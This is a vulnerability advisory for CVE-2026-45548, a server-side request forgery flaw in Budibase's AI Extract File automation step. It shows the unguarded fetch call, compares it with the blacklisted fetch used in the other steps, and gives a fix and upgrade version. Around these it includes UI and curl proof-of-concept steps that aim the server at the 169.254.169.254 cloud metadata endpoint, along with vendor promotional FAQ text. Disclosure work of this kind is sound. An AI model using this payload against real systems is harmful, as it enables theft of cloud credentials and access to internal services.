CVE-2026-45548

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

Vulnerable Code

packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetch(fileUrl)  // NO blacklist check!
  // ...
  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!
}

Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:

• steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})
• steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})
• steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})
• steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)
• steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})
• steps/make.ts: response = await fetchWithBlacklist(url, {...})

The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:

• 127.0.0.0/8 (loopback)
• 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
• 169.254.0.0/16 (link-local / cloud metadata)
• IPv6 private addresses

The AI Extract File step bypasses all of these protections.

Steps to Reproduce

Via Budibase UI

1. Login as builder user
2. Create or open any app
3. Go to Automations > New Automation
4. Add trigger: App Action
5. Add step: AI > Extract File Data
6. Set Source: URL
7. Set File URL: http://169.254.169.254/latest/meta-data/ (or any internal IP)
8. Click Run Test, the server makes the request without IP blacklist validation

Via curl (API)

# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/global/auth/default/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/automations" \
  -X POST -H "Content-Type: application/json" \
  -H "x-budibase-app-id: YOUR_APP_ID" \
  -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'

Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

VULNERABLE (no blacklist):
  packages/server/src/automations/steps/ai/extract.ts:116
    const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step:
  packages/server/src/automations/steps/slack.ts:19
    response = await fetchWithBlacklist(url, {...})
  packages/server/src/automations/steps/discord.ts:28
    response = await fetchWithBlacklist(url, {...})

Expected vs Actual Behavior

Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

Proposed Fix

Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:

import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist
  // ...
  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist
}

An authenticated user with builder permissions can:

• Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
• Scan internal network services and ports
• Access internal APIs not intended for external access
• Exfiltrate data from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-45548 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.34.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45548? CVE-2026-45548 is a high-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions < 3.34.8. It is fixed in 3.34.8. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-45548? CVE-2026-45548 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by CVE-2026-45548? @budibase/server (npm) versions < 3.34.8 is affected.
4. Is there a fix for CVE-2026-45548? Yes. CVE-2026-45548 is fixed in 3.34.8. Upgrade to this version or later.
5. Is CVE-2026-45548 exploitable, and should I be worried? Whether CVE-2026-45548 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45548 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45548? Upgrade @budibase/server to 3.34.8 or later.